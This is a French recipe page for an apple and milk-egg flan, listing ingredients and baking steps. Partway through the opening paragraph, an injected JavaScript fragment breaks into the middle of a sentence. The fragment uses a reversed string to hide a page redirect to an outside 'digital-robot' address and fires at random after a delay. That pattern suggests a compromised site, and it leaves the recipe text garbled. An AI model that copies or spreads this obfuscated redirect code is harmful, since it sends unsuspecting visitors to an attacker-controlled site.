Œufs au lait avec des pommes
2016-12-19- Cuisine : Flans
- Niveau : Intermédiaire
Dans un récipient battez les œufs en omelette avec le sucre en poudre, la vanille. Versez par petites quantités le lait tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant et obtenir une pâte onctueuse et lisse.
Ingrédients
- Pour 6 personnes
- 4 pommes golden
- 1 jus de citron
- 50 g de beurre
- 7 œufs entiers
- 150 g de sucre en poudre
- 1 litre de lait entier où écrémé
- 1 cuillère à café de vanille en poudre
Préparation de la recette
Etape 1
Dans un récipient battez les œufs en omelette avec le sucre en poudre, la vanille.
Etape 2
Versez par petites quantités le lait tout en mélangeant et obtenir une pâte onctueuse et lisse.
Etape 3
Pelez, coupez en petits dés les pommes. Les citronner pour éviter l'oxydation. Dans une poêle avec 50 g de beurre, sur feu moyen, faites revenir les pommes jusqu'à obtenir une légère coloration.
Etape 4
Répartissez les pommes dans un moule à manqué beurré. Recouvrez de pâte. Préchauffez le four à 180° C thermostat 6.
Etape 5
Enfournez et faites cuire dans un bain-marie chaud pendant 30 minutes. Vérifiez la cuisson. Sortez les œufs au lait. Laissez refroidir et dégustez frais
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